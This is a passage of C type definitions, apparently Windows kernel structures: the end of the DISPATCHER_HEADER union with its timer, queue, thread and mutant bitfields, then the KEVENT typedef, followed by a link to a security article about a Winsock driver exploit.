unsigned char TimerControlFlags;
struct
{
struct
{
unsigned char Absolute :
1
;
unsigned char Wake :
1
;
unsigned char EncodedTolerableDelay :
6
;
};
unsigned char Hand;
union
{
unsigned char TimerMiscFlags;
struct
{
unsigned char Index :
6
;
unsigned char Inserted :
1
;
volatile unsigned char Expired :
1
;
};
};
};
};
};
struct
{
unsigned char Timer2Type;
union
{
unsigned char Timer2Flags;
struct
{
struct
{
unsigned char Timer2Inserted :
1
;
unsigned char Timer2Expiring :
1
;
unsigned char Timer2CancelPending :
1
;
unsigned char Timer2SetPending :
1
;
unsigned char Timer2Running :
1
;
unsigned char Timer2Disabled :
1
;
unsigned char Timer2ReservedFlags :
2
;
};
unsigned char Timer2ComponentId;
unsigned char Timer2RelativeId;
};
};
};
struct
{
unsigned char QueueType;
union
{
unsigned char QueueControlFlags;
struct
{
struct
{
unsigned char Abandoned :
1
;
unsigned char DisableIncrement :
1
;
unsigned char QueueReservedControlFlags :
6
;
};
unsigned char QueueSize;
unsigned char QueueReserved;
};
};
};
struct
{
unsigned char ThreadType;
unsigned char ThreadReserved;
union
{
unsigned char ThreadControlFlags;
struct
{
struct
{
unsigned char CycleProfiling :
1
;
unsigned char CounterProfiling :
1
;
unsigned char GroupScheduling :
1
;
unsigned char AffinitySet :
1
;
unsigned char Tagged :
1
;
unsigned char EnergyProfiling :
1
;
unsigned char SchedulerAssist :
1
;
unsigned char ThreadReservedControlFlags :
1
;
};
union
{
unsigned char DebugActive;
struct
{
unsigned char ActiveDR7 :
1
;
unsigned char Instrumented :
1
;
unsigned char Minimal :
1
;
unsigned char Reserved4 :
2
;
unsigned char AltSyscall :
1
;
unsigned char Emulation :
1
;
unsigned char Reserved5 :
1
;
};
};
};
};
};
struct
{
unsigned char MutantType;
unsigned char MutantSize;
unsigned char DpcActive;
unsigned char MutantReserved;
};
};
long
SignalState;
LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER,
*
PDISPATCHER_HEADER;
typedef struct _KEVENT
{
struct _DISPATCHER_HEADER Header;
} KEVENT,
*
PKEVENT;
https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/